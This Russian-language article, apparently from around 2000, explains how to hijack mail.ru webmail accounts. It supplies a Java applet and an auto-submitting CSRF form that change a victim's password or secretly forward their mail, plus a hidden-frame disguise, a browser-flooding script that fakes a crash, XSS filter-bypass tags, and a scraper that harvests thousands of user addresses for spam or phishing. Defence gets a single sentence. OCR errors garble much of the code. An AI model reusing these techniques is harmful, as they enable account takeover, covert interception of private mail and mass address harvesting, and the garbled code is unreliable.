Некоторые методы технического взлома почтового ящика с WWW-интерфейсом (на примере Www. mail. ru )
В последнее время значительную популярность обрели почтовые системы на основе WWW-Интерфейса (Www. hotmail. com, Www. mail. com, Www. netscape. net в России — Www. mail. ru). Web-почту «местного значения» также предлагают провайдеры, работающие по схемам «Internet- Кард» или «Internet-в-кредит». Честно говоря, автору совершенно непонятны причины такого успеха. Сторонники подобных систем обычно заявляют о простоте и удобстве пользования, при большей безопасности, ссылаясь на огромное количество вирусов и печальный пример MS Outlook и MS Outlook Express 5. Первые два аргумента, похоже, соответствуют действительности, а о безопасности поговорим чуть ниже.
Здесь будет рассмотрен один из вариантов технического подхода к вскрытию почтового ящика, основанного на совместном использовании недоработок современных браузеров, принципиальныхнедостатках CGI, и ошибках в политике безопасности почтовых служб. Именно он чаще всего применяется в атаках на Web-почту. Для «конкретности», будет описан найденный автором метод «захвата» или «подслушивания» пользователя популярной в России системе mail. ru и способ защиты.
Принципиальные недостатки безопасности
WWW-почты
Ненадежность обычной почтовой программы определяется безграмотностью её написания.
Браузер же как система прочтения почты изначально недостаточно безопасен, поэтому создатели почты вынуждены налагать ограничения на тэги, используемые в письмах (<script.;.>, <iframe>). Как правило, встроенный фильтр просто удаляет «небезопасные» с его точки зрения инструкции. Принципиальных недостатков у подобного подхода два: слишком строгие фильтры могут повредить само письмо, да и трудно предугадать заранее, на что способна безопасная с виду конструкция. Тем не менее, именно на фильтрации основаны большинство существующих почтовых систем.
Самый же уязвимый элемент — это способ задания пользовательских настроек и пароля. Они, как правило, задаются с помощью CGI - форм (как наиболее распространённого стандарта) по тем же каналам, что используются для работы с почтой, и могут быть вызваны любым членам сети, сумевшим подделать IP и cookies пользователя, или (что гораздо проще) временно захватившим контроль над браузером.
Итак, мы решили перехватить контроль у пользователя хххх почтовой системы с Web-интерфейсом, например, yyyy. zz. Только убедитесь, что он действительно пользуется web-интерфейсом, а не читает почту через рорЗ-сервер или пользуется форвардингом.
Заводим почтовый ящик на этом же сервисе и в первую очередь смотрим, как задаются и изменяются пароль и прочие настройки. На mail. ru (и многих других) это делает обычная форма, результаты заполнения которой передаются в CGl-скрипт cgi-bin/modifyuser? modify.
Для идентификации пользователя, похоже, используется скрытое
Поле:
<input type="hidden" name="Username" value="intst1">
Нам предоставляется возможность изменить: имя пользователя: <input type="text" name="RealName" value="A. V. Komlni">
адрес пересылки (форвардинга) и возможность сохранения почты при этом:
Cinput type="text" name="Forward" value="..."> <ihput type=checkbox name="Flags. DoNotKeepMail" >
пароль:
<input type="password" name="Password" value="****************"> <input type="password" name="Password_Verify" value22" **************** ">
Попробуем сформировать соответствующий файл, задав в скрытом поле имя интересующего нас пользователя и отослать форму, т. к. CG1, увы, не проверяет место нахождения формы-запроса.
<form method=post action="Http://koi. mail. ru/cgi-bin/'
Modifyuser? modify">
He получилось. Быть может, в интересующей вас системе этого окажется достаточно, а в mail. ru такие шутки не проходят.
Значит, пользователь идентифицируется с помощью cookies или, хуже того, IP. Пробуем вручную отредактировать cookies — результат тот же. Следовательно, эту форму должен отослать сам пользователь.
Наиболее простой способ захвата контроля над браузером — внедрение <script> и &{...} конструкций в письмо — давно уже пресечён с помощью фильтров почти всеми, и таіі. гив том числе. Тем не менее попробуйте, чем чёрт не шутит. Если тэги разрешены, то фильтрация самого javascript иногда может быть обойдена при помощи средств динамической генерации кода.
Неплохой результат иногда дают конструкции вида:
<тег [XX]SRC=...>
Например,
<IMAGE LoSrc="javascript..."...> CIFRAME SCR="about: <script...> „."> для IE и
<ilayer src="mocha;.„">
Для NC. («mocha» — это старый, всеми позабытый аналог модификатора «javascript», сохранившийся в NC). Вообще, чем реже используется тот или иной тэг, тем больше вероятность, что разработчики забыли его отфильтровать... Недостаток этого подхода в том, что требуется знать тип и версию используемого браузера.
К сожалению (вернее к счастью), у программистов mail. ru память хорошая. В конце концов это их и подвело. Наверное, они (да и не только они, похоже) читали «умные» книжки, запомнив, что Java — одна из самых безопасных технологий в сети. Поэтому и разрешили тэг <Applet...>.
В стандарте Java есть класс позволяющий
Нам открывать новые окна или менять текущие. URL myURL=new URL("http:...editprofil. html"); getAppletContext().showDocument(myURL,"_self"); getAppletContext().showDocument(myURL,"newwin"); На любой общедоступной страничке размещаем файл (содержащий требуемую форму), прописываем к нему путь в апплете, который размещаем там же и высылаем пользователю письмо, содержащее вызов апплета. Этот эксплойт не зависит от браузера, одинаково «хорошо» работая в IE и NC. <applet
Code=readr. class name=readrie codebase="_nyTt>_/" width=320 height=240 > <B> SET Java On</B> </applet>
Readr. java (не забудьте отредактировать _ПУТЬ_)
Import Java. applet. *; import java. awt.*;
Import
Public class readrie extends Applet {
Public void paint(Graphics g)
{ try {
URL myURL=new URL("_nyTb_editprofil. html"); getAppletContext(),showDocument(myURL,"_self");
} catch (Exception e) {
G. drawString("Error", 10, 10); > '
} }
Editprofil. html
(не забудьте отредактировать ИМЯ_П0ЛЬ30ВАТЕЛЯ и Н0ВЫЙ_ПАР0ЛЬ)
<html>
<body>
<form method=post action="Http://koi. mail, ru/cgi - bin/modifyuser? modify">
<input type="hidden" name="Username" value=" ИМЯ_ПОЛЬЗОВАТЕЛЯ "> <input type="text" name="RealName" value="A. V. Komlni"> <:input type="text" name=" Forward" value=""> <input type="password" name="Password" value=" Н0ВЫЙ_ПАР0ЛЬ "> <input type="password" name="Password_Verify" value=" Н0ВЫЙ_ПАР0ЛЬ ">
<input type=checkbox name="Flags. DoNotKeepMail" >
He сохранять почту при пересылке<Ьг>
<input type="submit" уа1ие="Сохранить"> <input type=" reset"
Уа1ие="Восстановить">
</form>
<SCRIPT LANGUAGE="JavaScript"> document. forms[0].submit();
</script>
</body>
</html>
Письмо можно сформировать просто присоединением (attach) HTML-файла (в Netscape Messenger, например) содержащего необходимые тэги. Присоединенный в Messenger'e HTML-файл mail. ru откроет автоматически.
Как только абонент попытается прочитать письмо, выполнится агшлет, и через несколько секунд форма будет отослана от имени жертвы.
Вот, в принципе, и всё. Пользователю присвоен новый пароль. Если мы хотим «просто подслушивать» пользователя, в значение полей Password необходимо внести 16 звёздочек, а в поле Forward — куда отсылать копии. Это довольно рискованный вариант: пользователь может случайно заглянуть в настройки и заметить адрес.
Cinput type="text" name="Forward" value="Spy_addr@xxxx. zz"> <input type="password" name="Password" value="****************"> <input type="password" name="Password_Verify" value="****************":>
He стоит, конечно, проводить всю эту процедуру перед глазами пользователя (может он ещё не отключил подтверждение на отправку форм или успеет запомнить разглядеть и запомнить новый пароль). Разумнее переадресовать апплет на какой-нибудь файл содержащий frameset:
<FRAMESET C0LS="99%, 1Г>
<FRAME SRC="zastavka. html" NAME="v1">
<FRAME SRC="editprofile. html" NAME="w1">
Где zastavka маскирует письмо под безобидную рекламу или дружеское письмо, a editprofile выполняется в невидимом фрейме.
По окончании смены паролей лучше сымитировать сбой т. к. в течении сеанса пользователь может исправить пароль. В IE под Win 95/98, например, достаточно выполнить скрипт:
Open("javascript:open(window. location)"); приводящий к бесконечному размножению окон, требующему перезагрузки. Само письмо лучше отослать (на случай неудачи) от анонимной службы рассылки писем.
Защититься от этой атаки как всегда просто. Отключить Java, а лучше, отказаться от использования Web-интерфейсов. Тот же mail. ru предлагает и форвардинг и рор-сервера. Экономия на настройке приносит проблемы с безопасностью не только администраторам больших сетей, поверьте.
Составляем список абонентов сервера
Заветной мечтой всех мира является список (база) або
Нентов. Недаром, в их среде постоянно ходят слухи о каких-то почтовых серверах, поддерживающих команду finger. Часто на форуме можно видеть крик души:
"Нужна база е-мейлов по заграничным и Московским сайтам $$$ -
Вася 02:53:36 06/1/2000 (0)"
Нередко почтовые Web-сервера могут «бесплатно» предоставить подобную информацию. Метод её получения довольно прост. При легальной работе с почтовым ящиком запоминаем адреса CGI-скриптов, ответственных за смену и чтение параметров пользователей. Потом вызываем их без параметров (форм). Вполне вероятны ошибки в скриптах, при которых они отработают с последними занесёнными (или использующимися в текущий момент) именами пользователей.
Конечно, шансы на то, что параметры можно изменить, нулевые, а вот сообщение об ошибке доступа вполне может содержать имя пользователя, как это происходит на mail. ru. При обращении к тому же Http://Koi. mail. ru/cgi-bin/modifyuser? modify выдаётся сообщение вида:
Настройки пользователя Mnebojsa@mail. ru
Ошибка. Не заполнены необходимые поля.
При следующем обращении «сдастся» следующий пользователь или «@/» если таковых не окажется. Осталось иссдедовать внутреннюю структуру ответа, да написать программу, повторяющую подобные запросы и фильтрующую ответ в поисках нужной информации. Лучше запускать её в часы пик:
Import java. io. *;
Import java. net. *;
Import java. util. *;
Public class getname { public static void mai, n(String args[]) { String nextline;
Try {
URL mailserv= new URL
("Http://koi. mail. ru/cgi-bin/modifyuser? modify");
For (int i=1;i<=10000;i++)
{
DatalnputStream input = new DatalnputStream ( mailserv. openConnection().getlnputStream()); nextline=input. readLine(); nextline=input. readLine(); nextline=input. readLine();
// Нужный нам адрес - в третьей строке выходного документа System, out. println( nextline); input, close();
>
>
Catch (Exception ioe) {
System. out. println(ioe. toString());
>
І
К
Вызовы команд вида (в среде JDK):
:javac getname. java - компилируем файл
:java getname > userlist. txt занесут в файл userlist. txt примерно 10000 e-mail адресов.
Теперь больной манией величия «хаксор» вполне может создать программу, автоматически рассылающую письма-ловушки отбирающие почтовые ящики, практичный спаммер — рекламу, а конкуренты — сообщение, вида: «бесплатный сервис mail. ru будет с начала месяца прекращён, воспользуйтесь xxxx. ru» или всё вместе.